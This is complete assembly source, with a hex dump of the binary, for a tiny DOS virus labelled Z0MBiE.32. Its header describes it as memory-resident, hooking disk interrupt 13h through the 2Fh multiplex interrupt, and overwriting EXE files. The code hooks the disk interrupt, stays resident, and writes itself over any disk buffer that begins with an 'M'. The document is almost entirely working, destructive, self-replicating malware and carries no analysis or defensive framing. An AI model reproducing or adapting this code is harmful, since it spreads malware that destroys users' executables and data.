; Z0MBiE.32

; - 32-byte length
; - resident, hooks INT 13 via INT 2F
; - EXE-overwriting

; - DOS-only
; - very unstable

; EXECUTABLE:

; CODE:
;
;   0100  B4 13 CD 2F 0E 1F BA 14-01 06 53 66 8F 06 20 01
;   0110  CD 2F CD 27 26 80 3F 4D-75 05 0E 07 BB 00 01 EA

; SOURCE:
                        model   tiny
                        p386
                        codeseg

                        org     100h
start:
                        mov     ah, 13h
                        int     2Fh

                        push    cs
                        pop     ds
                        lea     dx, int13

                        push    es
                        push    bx

                        pop     dword ptr old13
                      ; pop     dword ptr [edx+old13-int13]

                        int     2Fh

                      ; xchg    dx, ax
                        int     27h

int13:                ; cmp     ah, 03h
                      ; jne     exit13

                        cmp     byte ptr es:[bx], 'M'
                        jne     exit13

                        push    cs
                        pop     es
                        lea     bx, start

exit13:                 db      0EAh

old13                   dd      ?

                        end     start